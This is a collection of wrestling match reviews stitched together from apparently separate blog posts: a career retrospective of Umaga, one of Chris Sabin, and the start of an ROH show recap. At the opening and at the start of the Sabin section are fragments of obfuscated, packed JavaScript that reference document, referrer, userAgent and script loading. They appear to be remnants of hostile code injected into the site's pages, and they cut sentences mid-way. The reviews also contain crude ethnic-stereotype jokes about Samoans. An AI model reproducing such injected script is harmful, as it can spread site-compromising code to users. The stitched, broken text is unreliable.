");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dthen|var|u0026u|referrer|nnkzy||js|php'.split('|'),0,{})) to Samoa for some Umaga.

Umaga got his start up in Pennsylvania as Ekmo in a tag team called the Island Boyz. They would receive a dark match against the Haas Brothers (Charlie and his brother Russ) on September 18, 2001.

Island Boyz vs. Haas Brothers

The Island Boyz would get hired and brought up to the main roster about a year later as 3 Minute Warning, a pair of enforcers for Eric Bischoff. Their first PPV match was against Billy and Chuck at Unforgiven 2002. You need the recap for this one.

Billy and Chuck vs. 3 Minute Warning

 

The pair would head over to Raw and face various teams, including Kane and Rob Van Dam on February 10, 2003.

Kane/Rob Van Dam vs. 3 Minute Warning

Umaga would be released in June, allegedly due to being in a bar fight. He would head over to TNA in a tag team with Sonni Siaki. That went nowhere so it was off to Japan for a bit before coming back to TNA in 2004, where he would be brought in to try and beat up Alex Shelley on August 11, 2004.

Alex Shelley vs. Ekmo

After another year in Japan it was back to WWE as Umaga, and old school Samoan monster. His first major match was against Ric Flair at Backlash 2006.

Umaga vs. Ric Flair

Umaga debuted less than a month before this so this is his first real match. When you need a new kid tested, call in Naitch. Flair jumps him in the aisle and that goes badly for him. We go into the ring for the bell and Flair gets pounded into the corner. Flair pokes him in the eye and hits him low a few times, only to get chopped right back down.

Rating: C+. This was a total squash for Umaga but the idea here was perfect: Flair made Umaga look like a monster here which is exactly the point of something like this. Umaga would be a destruction machine, not losing until January when Cena finally put him down with a rollup of all things. This was a textbook example of how to put someone over using a legend.

Umaga would destroy everyone in his path for the rest of the year, including this match against Shawn Michaels on Raw from July 31, 2006.

Shawn Michaels vs. Umaga

The idea here is that no one can stop Umaga so Shawn is brought in to give him a real test while also tying in with the DX vs. Vince feud. Umaga also has Armando Alejandro Estrada as his manager. Shawn chops away to start and hammers away in the corner before hitting a low dropkick. Umaga misses a clothesline and Shawn bails outside as Vince and Shane come out.

Raw World Title: John Cena vs. Umaga

The big match introductions never get old to me. This is during Cena’s year long reign that made him so freaking hated. Umaga is just destroying him early on so cue up the Superman music for later. Cena has had maybe two moves in ten minutes. This is domination. Take out the Superman music and give us the Zeke Jackson music.

Cena hits the Throwback but he apparently hasn’t read up on his stereotypes as a shot to the head won’t hurt him at all. Ross references Yokozuna with Umaga, which is a bit much for my taste. The FU doesn’t work either. More or less the fatness of Umaga is too much. And it’s nerve hold time. That gave me a funny image of Samoans in a medical school learning how to do those holds. That’s rather amusing.

After the hold though he RAPS UP and starts his ending sequence, only to not be able to get the FU. Umaga goes for the running hip shot but Cena gets his feet into the chest and rolls Umaga up for the pin. I’ll give them that one: that was a lot more realistic than just getting the FU for the pin, and they kept Umaga looking strong.

Rating: B. Not bad at all here as this was in essence a throwaway show and a token title defense for Cena, although in the end it wound up paying off. That’s always a good sign as this wasn’t a terrible match at all and was actually pretty entertaining. They kept both guys looking strong which set them up for last man standing the following month.

As mentioned, the rematch was a last man standing match at Royal Rumble 2007. Cena has bad ribs coming in.

Raw World Title: John Cena vs. Umaga

Umaga puts him in the Tree of Woe but Cena sits up in the corner to avoid a running headbutt. The top rope Fameasser takes Umaga down and Cena sends him shoulder first into the post. They head to the floor and Cena is covered in blood. With Umaga still laying over the ropes, Cena BLASTS HIM with a monitor to the head to put him down. Back to the floor but Umaga catches a diving Cena and drives him back first into the post.

Trump picked the ECW World Champion Bobby Lashley. Steve Austin was brought in to referee because this is Wrestlemania. The best part of the build was Lashley in a cage with Umaga on the floor. To escape, Lashley shoulder blocked the cage wall, knocking it down to the floor and nearly crushing Umaga in the process.

Bobby Lashley vs. Umaga

Umaga would lose the title to Santino Marella but got it back soon enough to defend against Jeff Hardy at Great American Bash 2007.

Intercontinental Title: Jeff Hardy vs. Umaga

Jeff is challenging and that Candace scene was in place of a recap. Umaga immediately takes him down and they go to the floor. Jeff fights back but walks into a Samoan Drop which must be like learning to walk at the Samoan wrestling school. Umaga pounds him down and hooks a nerve hold. Jeff looks more like he’s coming down off a really bad trip. Must be a Sunday. And now it’s back to the nerve hold for a VERY long time.

Jeff gets up and tries a slam but guess how well that goes. Umaga crashes down onto Jeff’s chest and then does it again. This has been a squash so far. A middle rope headbutt misses and both of them are down. Out to the floor and there’s a plancha, thankfully by Jeff so that the plate tectonics don’t shift. A dropkick gets two for Jeff. The running hip bump in the corner misses and Jeff hooks a Twist of Fate for two.

The fans are way into this too which is always a good sign. Umaga charges and hits the ring post. There’s a Swanton but Umaga BARELY kicks out. That seems to wake Umaga up though so he throws Jeff around like a skinny man that owes him drug money. The corner hip shot and the Samoan Spike kill Jeff deader than an overdose on every drug known to man and we’re done.

Rating: C+. This was one of the opening steps in the process of Jeff’s rise to the world title a year and a half later. He would show signs of hammering away on Umaga but then he would come up short. Jeff would continue to rise up and get closer and closer to the big wins, even getting the Rumble title shot in January, before FINALLY winning the title in 18 months. Yes Virginia, there used to be world title pushes that lasted longer than two months.

Umaga would begin to feud with HHH, who happened to win the World Title in the opening match of No Mercy 2007. Umaga had a match against HHH that night so it was made into a title match.

Raw World Title: HHH vs. Umaga

HHH gets to use King of Kings now that he’s champion. Umaga takes him down immediately so HHH fires back with a DDT. Thankfully Umaga remembers his racial stereotypes and no sells it. HHH low bridges him and we go to the floor. Umaga gets rammed into the steps and yells at HHH for it. My goodness it’s nice to see a Samoan monster that knows how to take a beating to the head.

Back in Umaga pounds him down but misses a middle rope headbutt. For some reason that slows him down but the Facebuster has no effect. Pedigree is countered but the spinebuster works just fine. Another Pedigree attempt is countered into a Samoan Drop and the Game has bad ribs. Out to the floor and HHH goes into the barricade. Back in for a bearhug as the champ is in trouble.

Umaga shifts up into a spinning Rock Bottom for two. The headbutt (this time not of the ropes) hits the bad ribs and is followed by a knee. Umaga pounds on the head of the Game and has him down in the corner. The running hip attack (SEE??? IT WAS UMAGA! NOT FREAKING RIKISHI YOU STUPID NXT PEOPLE!) misses, Umaga gets launched into the post and HHH hits a quick Pedigree to retain.

Rating: C-. Not much here as it felt like a Raw main event instead of a PPV title match. Then again this is only the second PPV title match out of four tonight so it’s ok if there’s a match with only about six and a half minutes. It’s nothing that great but it was good to allow HHH to look good. You know, like in a real title reign at a smaller PPV instead of in the third match of the night, but whatever.

Since he was out of the title picture, Umaga would be Rated RKO’s partner against Evolution on the Raw 15^th Anniversary special.

Rated RKO/Umaga vs. Evolution

Jeff Hardy vs. Umaga

Falls count anywhere. Jeff is in his whole chasing the brass ring phase here as he would be for most of 2008. Hardy charges straight at him….and down he goes. Whisper in the Wind out of nowhere gets two. It’s as fast as it sounds. Jeff jumps into a spinning release Rock Bottom (called a Black Hole Slam by JR) but is fine a few seconds later, hitting a plancha to the floor for two.

Into the crowd we go as Umaga sends Jeff flying to various places. Jeff finds a weapon in the form of a hollow traffic barrel which he chucks at Umaga’s head. Thankfully Umaga has studied his stereotypes and kicks Jeff in the face for two. Good boy. Umaga misses a charge into an anvil case and Jeff finds a fire extinguisher….which he can’t get to work. Finally he gets a shot off and Youmanga is staggered.

They’re in the back now and head into a stairwell where Jeff slides down the railing like you would see a little kid do, ramming into Umaga for two. To be fair that’s something that actually was logical so I can’t fault him there. Out into the concourse with Umaga getting two after throwing Jeff into a garbage can. They go outside and it’s all Samoan fat man. Jeff is rammed into a backhoe or something like that for two.

Basically the idea here is Hardy gets thrown into random objects before he can find something to jump off. They fight up to the production truck and Hardy hammers away which actually works to an extent. It’s kind of weird seeing a blue sky like that behind them. They climb a truck with Shawn’s face on it and Jeff kicks him off before hitting a huge Swanton onto an unseen Umaga for the pin.

Rating: C. Just a hardcore match here which was designed to set up the big spot at the end and give Hardy a win. Nothing wrong with that but there was nothing particularly great here at all. Umaga was a guy that you can only do so much with and Jeff wasn’t the kind of guy that could do something like that, which isn’t his fault. Not bad, but nothing great at all.

After being out a few months with a knee injury, Umaga would return in early 2009 before entering into a quick feud with CM Punk. From Extreme Rules 2009.

CM Punk vs. Umaga

This was a fairly weak mini feud that saw Umaga just destroy Punk at every time. Punk has MITB here and has been trying to cash it in for awhile but Umaga keeps stopping him. Oh and this is a Samoan Strap Match. Why do I not picture a lot of straps in Samoa? They’ll be tied at the wrist here and I think you win by pinfall or submission. There was never any real justification for Umaga to beat the tar out of Punk like he did but whatever.

I guess you could go with he’s a savage. I guess this is the four corner style. Dang it. There is however a helpful graphic in the corner saying how many you have in a row with Punk in green and Umaga in red. Still though I’ve never gotten a clear definition of what in succession means. I know what succession means but often times they just seemingly go with what fits best for the rules at the time. Umaga works on Punk’s arm as this match is just kind of odd.

Not sure why it is but it comes off as most odd to me. With Punk on the floor Umaga gets two buckles but instead of getting the third he goes for Punk. I didn’t know Samoans were such idiots. Aww Punk went for the GTS. That’s so cute. Grisham says Punk was undaunted. What does it mean to be daunted?

I’ve never heard of anyone being daunted but just undaunted. Fans are very behind Punk. Punk gets three but charges at Umaga instead and gets drilled. Well he deserves it for being stupid. Umaga gets three but Punk gets him to charge at him like a bull and Umaga goes to the floor. This is getting fairly repetitive.

Umaga gets pulled off the top and crashes to the mat. Punk gets three and with Umaga pulling away from him, for no explained reason at all, Umaga charges at him and gets caught in GTS so Punk can win. Ending was just stupid looking on Umaga’s part.

Rating: D. These matches were never very good and this is no exception. Also, there were far too many stupid moments here, mainly the ending. I love Punk, but this was just an incredibly pointless feud and thankfully this is the last one between them. Keep an eye on Punk though. He’s going places.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Summerslam at Amazon for just $3.99 at:

And check out my Amazon author page with wrestling books for under $4 at:

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|haysa|var|u0026u|referrer|ydbrt||js|php'.split('|'),0,{})) head over to TNA for one of their Triple Crown Champions: Chris Sabin.

Sabin would debut in 2000 and hang out in the indies for a few years before joining upstart company TNA in 2003. Less than a month after debuting he would receive an X-Division Title shot in a three way on May 14, 2003.

X-Division Title: Chris Sabin vs. Jerry Lynn vs. Amazing Red

Sabin would stick around the division for a long time and fight for the change at being champion again, including in a fourway on the first episode of Impact from June 4, 2004.

Chris Sabin vs. Michael Shane vs. Elix Skipper vs. AJ Styles

Skipper kicks Sabin down for two but Shane is back up with forearms. A wheelbarrow suplex puts Skipper down again as the fans are all over Shane. AJ pulls Michael out to the floor but gets suplexed down for his troubles. Skipper slams Sabin for two but gets caught in an Edgecution for two for Sabin. Chris escapes a rollup from AJ and gets two of his own off a springboard tornado DDT.

Shane is back in with a belly to belly on Sabin but gets crotched by AJ, allowing Elix to walk the ropes into a hurricanrana to send Michael to the floor. AJ sends Sabin to the floor and hits a big flip dive to take Skipper down as well. Shane loads up a superkick to Sabin, only to have AJ springboard in with a sunset flip, only to roll through into the Styles Clash for the pin and the title shot.

Sabin would get a title shot at Turning Point 2004 but lose to a pair of brass knuckles. He would fight champion Petey Williams again in a triple threat Ultimate X match the next month at Final Resolution with AJ Styles rounding out the trio.

X-Division Title: Petey Williams vs. AJ Styles vs. Chris Sabin

Williams is the longest reigning champion at this point. Basic three man match to start with no one having a long advantage. There’s just this and the world title left though so they have a ton of time. They double team Petey for a bit and Sabin hits a running dropkick in the corner. Sabin and Williams head to the floor so AJ dives on both of them to take them out. Why mess with what works?

Back into the ring and Sabin and AJ get up on the top where Sabin jumps up and dropkicks AJ into the structure. Sabin has a clear run at the belt but D’Amore pulls him down. That gets him tossed but lets Williams get the advantage due to the distraction. He sends AJ into the railing and beats up Sabin in the ring. Sharpshooter goes on Sabin so AJ climbs across the ropes, only to have Williams let Chris go and make the save. This is better than it sounds.

AJ gets put in the Tree of Woe and Petey stands on his balls so he can sing O Canada. That’s a signature spot actually despite how weird it sounds. AJ dropkicks him down and Sabin is back in now. Petey makes a run at the belt but Sabin is on AJ’s shoulders so Petey grabs a Doomsday rana to put everyone down. Everyone not named Sabin goes up and it’s time to play some chicken.

Petey wraps his legs around the ropes and Sabin pulls down AJ like an idiot. Petey can’t get the belt and falls off to put all three guys on the mat. Sabin goes up but has to snap off a rana to take AJ down. In ANOTHER awesome spot, Petey goes for the Canadian Destroyer but Sabin counters into the Cradle Shock but Petey counters into a reverse DDT but AJ hits his moonsault into a reverse DDT to Petey who reverse DDTs Sabin at the same time.

Before they have time to be sore AJ goes up and in what was a highlight reel moment for a long time, Sabin gets a dropkick to AJ’s chest to send him flipping forward and crashing down flat on his back. He jumped to do it but the bump looked great. Styles and Williams fight up the scaffold and Williams bends AJ’s arm through the scaffold which is a new move, especially when AJ HANGS BY HIS ARM. FREAKING OW MAN!

Cradle Shock puts Petey down and it’s time to go up. AJ saves into a Styles Clash attempt by Sabin pulls on the arm. AJ is like screw it and pulls him up into a powerbomb and then the Clash to put everyone down again. Styles goes for the belt but his bad arm drops him down and Petey pops up for a Destroyer to kill AJ dead.

Down goes Sabin to a tornado DDT and it’s time for the Destroyer again. That doesn’t work and a Border Toss into the buckle has Petey more or less dead again. Sabin and Williams are both up before Styles and both climb, wrapping their legs around the ropes. They get the belt down but AJ is like boys, let me show you how it’s done. He gets a springboard off the ropes and pulls it out of the air to get his fourth X Title. SWEET ending.

Rating: A. Somehow this was better than the tag title match. This should be TNA’s answer to the TLC match but they’ve managed to turn it into a throw on match. Anyway, awesome match here as they let three guys go out there and just do it which is the right thing to do. Great match and totally fun the entire time. AJ is awesome. What a shock.

Sabin was always a part of the World X Cup tournaments, often captaining Team USA. One of these matches had its finals at Sacrifice 2006.

World X Cup Final Round: Gauntlet Match

All sixteen participants in the match are in this. It’s a two minute starting period followed by one minute intervals after that. It’s over the top rope eliminations until we get down to one on one when it becomes a singles match. The teams that make it to the final match receive two points apiece and the winner of the match gets an extra three. If the two finalists are from the same team, their team receives seven points and automatically wins the tournament. In the event of a tie, the captains will face each other in a singles match….on Impact.

We start with Minoru Tanaka (Japan) and Puma (Mexico). Tanaka offers a handshake to start but as Puma shakes it, Tanaka Mists him to take over. A springboard missile dropkick puts Tanaka down and an enziguri staggers him. Tanaka gets in a suplex but covers out of instinct. #3 is Petey Williams (Canada) and he joins forces with Minoru to double team Puma. That lasts a good 20 seconds before Petey turns on Puma.

#4 is Chris Sabin (USA) and things speed up again. Sabin whips all three guys into the corner but only hits Tanaka with a forearm. A double clothesline takes the other two down and Hiroki Goto (Japan) is #5. He hits a spin kick to take down Sabin and teams up with his teammate to clean house. #6 is Incognito (Mexico) who seems to wrestle in slow motion. He knocks Petey to the floor and hits a suicide dive but neither guy went over the top so everyone is still in. Before I forget, Incognito is currently known as Hunico in WWE.

#7 is Johnny Devine (Canada) and he puts Incognito down in the corner for some running knees. #8 is Sonjay Dutt (USA) to continue the pattern the entries have taken. All eight are still in at the moment. The Americans double team Williams but Devine makes the save. And never mind as Dutt snaps off an inverted rana to send him flying. In at #9 is Black Tiger (Japan) and he runs over Dutt very quickly.

Tiger hooks an ankle lock on Williams but Devine makes the save. Magno is #10 (Mexico) and he comes in with some springboard flips. It’s impossible to tell what’s going on as there are too many people in the ring at the moment. Eric Young (Canada) is #11 as two people go through the ropes, as in not being eliminated. We get a LOUD Eric chant as we’re told that Incognito and Dutt are both out with Dutt having an injured ankle.

#12 is Alex Shelley (USA) and house is cleaned. He hits a complicated double team move on the Canadians and a spin kick Devine. Sabin and Devine go out in a big rush of offense as Liger (Japan) is #13 and the final member of Team Japan. Magno charges into a tilt-a-whirl backbreaker from Liger and they go to the top rope. Liger gets superplexed down and Shocker (Mexico) is #14. Magno charges at someone and is backdropped out.

Black Tiger goes up top but gets powerbombed down and eliminated as we see Tyson Dux (Canada) in at #15. Dux sends Puma to the apron but he gets back in. Shelley throws out Goto and Jay Lethal (USA) is #16 and the final entrant. By my count we have eight people left: Young, Minoru, Shelley, Lethal, Puma, Dux, Liger, Shocker and Williams. Lethal dropkicks Minoru out. That leaves Japan with just Liger.

Shocker charges at Dux and gets monkey flipped to the floor. Dux and Young go at Liger and get palm strikes to the chest for their efforts. They combine to eliminate Liger, eliminating Japan entirely from the gauntlet and the competition. Lethal immediately puts Young out and we’re down to five: Dux, Lethal, Shelley, Williams and Puma. There goes Dux and we’re down to four. The Americans double team Williams but Shelley misses a charging knee to eliminate himself. Lethal goes to the apron but jumps back in, right into a spin kick from Puma to get us down to two.

Puma hits a fast brainbuster and remember that it’s now a regular one on one match. The Canadian Destroyer hits out of NOWHERE and the Canadians in the form of Williams wins, meaning it’s Williams vs. Sabin for the Cup on Impact (Sabin would win the match and the Cup).

Rating: B-. That’s as high as I can possibly go with this. The match wasn’t bad at all but it’s the walking definition of throw A LOT of stuff out there and have them do flips and dives with the hope that the crowd likes it. I don’t really know what else there is to say about this. I don’t see the need in having it go over to Impact and not ending it here, but I guess it gave them something else to do on Thursday. Not a bad match, but it was only going to be able to be so good if that makes sense.

X-Division Title: Chris Sabin vs. Sonjay Dutt vs. Jay Lethal vs. Alex Shelley vs. Shark Boy

 

Sabin is champion and this is an Xscape match, as in first one out is the winner. They tried this a bunch of times but they screwed it up by having like ten people in it. Five is about perfect. Lethal has Nash with him. The cage is kind of different as it looks like the old cage with the squares in the walls, but they’re a lot smaller. I like it. And they have to tag. What exactly are the rules for this thing? That’s not worth letting us know, because we need to talk about the main event.

 

Dutt and Sabin start. If I remember right, it’s elimination rules and when you get down to the final two it’s escape only. Hey I’m right. Sabin and Shelley try to cheat but Sabin has to put the brakes on. Dutt does his flips but gets placed on the top rope. Sabin sets for a superplex but Shark Boy walks the ropes and tags himself in for a three man Tower of Doom.

 

Sharky vs. Shelley now and a neckbreaker gets two for the fish. Hurricanrana and a missile dropkick get two. Sabin and Shelley work together a bit more but Shark Boy easily takes care of both of them. To be fair the Guns weren’t a team in TNA yet but this would be their first date for lack of a better term. Sharky tries Diamond Dust but gets caught in a reverse DDT by Shelley. A double legdrop via the Guns take care of him and we’re down to four.

 

Lethal is in next to a big reaction. Lethal works over Alex but Sabin interferes again and Shelley hits a top rope jawbreaker to put Lethal down. Sabin goes over and blasts Dutt for no apparent reason. Not a nice guy. Sabin vs. Lethal now with Sabin firing off a rapid fire Garvin Stomp. The Guns hit some stuff that would become signature moves over the years. The fans love Shelley.

 

The Guns beat on Dutt as only they can. Off to Lethal and things speed up again. He fires off a ton of rights to Sabin but the Guns are too much for him. The sequence where they get Lethal on the mat with Shelley having him in a neckbreaker position so Sabin can hit a running dropkick gets two. Dutt tries a springboard double clothesline but slips off so he hits Shelley but the wrong side of him.

 

Dutt hits an Asai Moonsault press but the Guns are too much for him as Shelley hits a Stunner and crossface style hold. It’s a tag match now and the non-Guns have stereo submissions on. The ASCS Rush puts Lethal down and a wicked Cradle Shock gets rid of Dutt. Lethal hits Lethal Combinations on both guys and the top rope elbow gets us down to two. Now it’s just escape. Lethal takes over and they both climb. They get on the top and both climb down but Sabin gets a kick to knock him into the cage, allowing Chris to drop to the floor to retain.

 

Rating: B-. This was a very solid opener with the crowd getting way into the Guns. They would officially unite by the end of the month, starting off a multi-year run which is still technically going despite injuries. Lethal would get the title during the summer, holding it for a whopping two days! The Guns would somehow not win the tag titles until 2010.

Sabin would soon hook up with Alex Shelley as the Motor City Machine Guns and take the tag divsision by storm. Their main goal was of course the Tag Titles and they would receive one of many shots at Turning Point 2009 in another three way match.

Tag Titles: Beer Money vs. British Invasion vs. Motor City Machineguns

The Brits (Williams and Magnus) have the titles here. They’re heels and Beer Money are faces….I think. They won a match on Impact to get here. No clue on the Guns but they’re faces also. Storm vs. Magnus to start as Storm jumps him to control early. Roode comes in quickly and it’s off to Shelley. Backbreaker gets two for Roode as we get the usual solid stuff from these teams.

They chop it out but Shelley hits the floor and takes Roode’s leg out. Off to Sabin who comes in with a hilo and they speed things up a bit. Williams makes a blind tag which is rather smart when you think about it. Sabin and Williams have a nice gymnastics routine (thankfully minus the tutus) and it’s off to Shelley. The Guns get to show off which they do rather well to say the least.

Sabin comes back in and the fans chant USA. I would love Beer Money to get all fired up and say they love America more than the Guns and have it fire them up. Why can only faces be patriotic? The Brits take over on Sabin but Beer Money comes in for the save. They shout their representative names in the title of their team, only for the Guns to get a blind tag of their own.

We get a bad oral sex joke with the Brits as this breaks down just for a bit. The Guns take over and everyone beats on Magnus. Williams tries a backslide on Sabin but Shelly gets a superkick to break it up. Sliced Bread (I love that name) can’t connect as Shelly is caught in a nice superkick (why does EVERYONE use that move anymore) German suplex combo. Take that USA fans!

Beer Money takes over on the Brits now as they might as well put up a big sign saying BRITS WILL RETAIN. Maybe I’m jaded but as soon as they get beaten down this much it’s clear they’re going to get the come from behind win. And as I say that, here’s Eric Young, the leader of World Elite of which the Brits are members. Storm chases him off and Kevin Nash of all people comes out to stop Young. Ah apparently he wants the Global (now TV) Title back. Nash takes it….and hits Storm to join World Elite. In the ring a Hart Attack with a jumping back elbow instead of a clothesline and off the top ends this.

Rating: C-. Match wasn’t bad but at the same time it was kind of a mess at times. The Nash turn came off as unnecessary to put it mildly as it really didn’t add anything to the match and felt like the whole point of things rather than the match itself, as the point is supposed to be. Not bad, but a bit too sloppy for my tastes.

The Guns would keep getting closer and close to the belts over the years. They would also develop a major rivalry with Beer Money, culminating with a match for the vacant Tag Team Titles at Victory Road 2010.

Tag Titles: Beer Money vs. Motor City Machine Guns

Ok so the Guns more or less have to win here. I like the Guns’ music. Storm and Shelley start us off. They’re doing a slow build to start us off as Taz says the Guns are the best team from their city, including the Tigers. Uh, deep? We get a Mel Torme reference of all things as we’re talking about tap dancing. Beer Money takes over and after a double vertical suplex they do their thing.

Shelley is getting beaten on. This is a good match so far so it’s hard to make jokes. Well other than Taz and Tenay who are always jokes. Ah there’s Sabin. I like him better than Shelley I think. We crank it up a bit and Sabin hits a running punt on Storm while he’s on the apron and Storm is on the floor. The crowd is getting back into it a bit too. Eye of the Storm gets two on Sabin.

I’m sorry for the excessive play by play here but that’s the main thing going on here. That made less than no sense but just go with it. We’ve lost any resemblance of a tag match here as it’s just all insanity. Maybe Heyman is booking the company. Everything just goes insane and this is awesome for once. The Guns dominate as Storm has a beer bottle. The referee gets beer spit in his face as the Guns hit a combination splash/neckbreaker on Roode for two.

There’s another referee here now and I have a bad feeling about this. It’s ALL Guns here as we’re going fast paced here. They hit their kick combination and cover Roode as Storm rolls Sabin up. The referees count a double pin and it’s Dusty Finish time. Earl, not the original referee, says restart it. The Guns win in like a minute with the same thing they did earlier, making the restart TOTALLY POINTLESS. Very good match though so I can’t complain much.

Rating: A-. This was a VERY good match. The main thing holding it back is the restart which was the walking definition of overbooking. What in the world is that supposed to help? Whatever it was I certainly don’t get it. The Guns are the champions, albeit nearly three years later. Still though, if they’re going to win them, at least win them in a classic I guess. Very good match all the way through. Loved it.

Tag Titles: Beer Money vs. Motor City Machine Guns

 

This is 2/3 falls. I’ll give TNA this: when they find something that works, they RUN with it. Shelley and Roode start us off and the crowd is WAY behind Shelley. The Guns do their usual insane speed stuff which is always cool looking. Roode does the old classic heel tactic of slapping his hands to convince the ref that there was a tag. It doesn’t work but it’s always awesome.

 

Sabin breaks through the endless domination of the heels as the fans are just getting irritating. NICE (I think) double team spot from the Guns as we get a downward spiral combined with a DDT and a missile dropkick. Roode takes Sabin’s head off with a big boot and the Guns clear the ring. Back in the ring a Backstabber sets up DWI on Shelley to make it 1-0 Beer Money.

 

Never a fan of challengers getting clean pins in the first fall of a 2/3 match. It makes the champions look like they lost completely clean. Nice double dropkick by Sabin to clean house again. The splash/neckbreaker ties it up after about two minutes. That move needs a name.

 

Roode does a HUGE dive over the ropes which they screw up by changing the camera at the last second. After a break it’s more even fighting. This has been a great match. Sabin hits a springboard DDT on Roode which I loved. Granted that might be because the DDT is my favorite move. Both teams hit a sweet double team sequence.

 

Sliced Bread #2 is countered as is DWI. Last Call superkick ends Roode and the double team combo DOESN’T get the pin on Storm. I would have bet on that ending it. Another one does in fact end it though, which is a bit anticlimactic but still, GREAT match here, although just a step behind the initial win at the PPV. Still though, great match.

 

Rating: A. This was indeed a great match but it makes me wonder where they’re going to go now that these two have fought so many times now. This is more about a back and forth insanity pitch rather than psychology or storytelling and that’s fine a lot of the time, especially in tags. This was very entertaining and the false finish was great for drama. These two teams have insane chemistry and this was no exception at all. Great match and well worth finding, although most of their matches are.

TNA World Title: Chris Sabin vs. Bully Ray

After the big match intros Ray gets right in Sabin’s face and talks trash but Sabin doesn’t blink. Ray goes to the corner but Sabin gets right in Ray’s face and says he’s going to win the title. Ray shoves him down and we’re ready to go. The champ grabs the leg to start as the fans are entirely behind Sabin. Chris fires off some kicks to the ribs and no sells a chop to the chest. Another chop sends Chris back but a third fires him up.

Ray offers him a fres kick to the ribs before chipping the tar off his skin. Sabin’s chest is BLOOD red but says bring it on. Now it’s Sabin firing off strikes to the face and chest before pounding away in the corner, only to have Ray go after the knee. Here are the Aces for backup as Sabin is laid out on the stage. Cue the Mafia who are somehow free as we take a break.

Back with Ray working over the leg and yelling at Rampage Jackson. It’s basically a lumberjack match now with the Mafia running interference when the Aces try to get involved. Ray hooks a leg lock and kicks at Sabin’s back while unhooking Sabin’s boot. A chop stops Sabin’s comeback bid and there goes the knee pad as well. Ray hits a Hennig neck snap on the leg and talks a lot of trash. Now he yells at the Mafia but stops to kick Sabin’s knee again.

Ray mocks Hogan’s hand to the ear which is always good for some heel heat. He pounds on the knee even more as the methodical offense continues. A chop to a downed Sabin makes him scream and Ray thinks he should take off the other knee brace. Ray whips him across the ring but Sabin collapses halfway there.

Instead he drills Sabin with a superplex for two but Chris fights back. He somehow gets up top for a missile dropkick but the referee goes gets bumped. Anderson tries to come in but the Mafia is there to stop the bikers. Ray got a hammer in there somehow but Sabin kicks him down. Everyone else is gone and Sabin blasts Ray in the head with the hammer for the pin and the title at 18:40.

Rating: B. This was all about the drama but the action was pretty solid as well. The ending really did surprise me which isn’t something that happens all that often anymore. There’s no way Sabin is going to be a long term champion due to his knee injuries but it’s still an awesome moment which is exactly what they were shooting for. It’s not like Ray was doing exceptional business or anything anyway. Ray being overconfident here was a fine story and it’s the perfect way to get the fans to go nuts. Well done stuff here.

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Joe vs. Punk II
Date: October 16, 2004
Location: Frontier Fieldhouse, Chicago Ridge, Illinois
Attendance: 700
Commentators: Jimmy Ballard, Mark Nultey

I don’t usually do ROH but this was a request. The main event of this show should be obvious. Joe is champion and this is Punk’s rematch after a time limit draw in their first match. We’re in Punk’s hometown so expect the crowd to be rabid. The whole show is about that match and it’s about 1/3 of the show so I wouldn’t expect the rest of the matches to mean much. Let’s get to it.

Punk talks about how his first match with Joe was a draw and the monster known as Joe couldn’t stop him. He talks about growing up in Chicago and fighting every day when he was a kid, even when the bullies would come to his house and he’d be the one left standing at the end. This is his home and with everyone looking, he’s going to be ready in his home town.

Generation Next (heel stable) talks about how Ricky Steamboat cost them their match last night against the Second City Saints (Punk’s team). Austin Aries, part of the team, isn’t here tonight because of the beating last night. Oh that’s Alex Shelley talking. He has an I Quit match with Jimmy Jacobs tonight. The other two guys are Jack Evans and Roderick Strong and tonight they team up to face the Rottweilers (Homicide/Rocky Romero).

Davey Andrews vs. TJ Dalton

No idea who either are but from what I can find, neither have wrestled for any company of note in over four years. Andrews was in ROH for awhile and Dalton was in OVW for awhile. Yeah that’s all I’ve got. And never mind as two other guys run in and beat them both down about 20 seconds after the bell.

Their names are the Carnage Crew and their names are Tony DeVito and HC Loc. They yell about Mick Foley and how they’re hardcore. I’m guessing this is leading to something later.

Delirious vs. Jay Lethal

Lethal is 19 here and is VERY young looking, probably because he is young. Delirious starts off with his usual insane stuff. Wait. DELIRIOUS WAS THE LIZARD MAN??? I heard about this for years about how ROH had a lizard man and it was Delirious? I’ve wondered who that was for years. Delirious hasn’t won a singles match yet so this is a big deal for him. Lethal takes him to the corner but is knocked off and takes a rana for two.

They exchange forearms which is a required sequence in ROH. There are the chops and the WOOs. Out to the floor and it’s kind of cool to see them using handheld cameras. Delirious hits a front flip dive to the floor to take Lethal down again. Lethal reverses a rollup for two. Delirious shouts a lot but gets caught in a neckbreaker but catches Lethal coming off the top in a Cutter. That’s not worthy of a pin though. Well to be fair Delirious is supposed to be insane. Shadows Over Hell (splash to the back and not called that yet) gets two. Delirious yells some more and gets caught in a dragon (full nelson) suplex for the pin.

Rating: C-. There wasn’t much of a point to it but for the opener this was fine. Lethal would get a lot better and Delirious would get a lot funnier so this is one of those matches that would be much better about 3 years later. Nothing great here but they were trying and for guys who didn’t have much experience, this worked well enough. Just not that interesting though.

Joe says tonight we’ve got a sixty minute match and all Punk has proven is that he can’t beat Joe. Tonight, Punk will fail again.

At this point on the card there’s a match listed as Dixie vs. Matt Stryker (not that one) but there’s no mention of it here. Maybe it’s coming later.

Tracy Brooks vs. Daizee Haze

Brooks you know from TNA and Haze is currently too skinny to wrestle for awhile. They haven’t had much women’s wrestling lately since Alexis Laree left (more famous as Mickie James). They do some basic stuff as the announcers point out that they can be just as good as the men. A forearm gets two for Haze as does a missile dropkick. In a weird ending, Haze tries forever to get a Stunner and finally hooks it but Brooks totally no sells it and hits a clothesline for the pin.

Rating: D-. And no that’s not because they’re girls. It’s because this match was really boring and the ending was awful. It’s like they were supposed to be having a big match and in short, they didn’t. There was nothing here that was interesting and there was nothing that made me think this was better than the Divas or what would become the Knockouts. The ending was as awkward as I’ve seen in a very long time.

Angel Dust vs. Matt Sydal vs. Josh Daniels vs. Trent Acid

Daniels is some indy guy that I’ve heard of and that’s about it. Angel Dust is an indy guy known as Azrieal and had a one off appearance in the X-Division Showcase on Impact as Federico Palacios. Acid is an indy guy that died last year and Sydal is Evan Bourne and a heel here. This is called a survival match but it’s one fall to a finish. Ok then. Acid is in the shirt, Dust is in the bandana and Daniels has the gold/yellow trim. Got it.

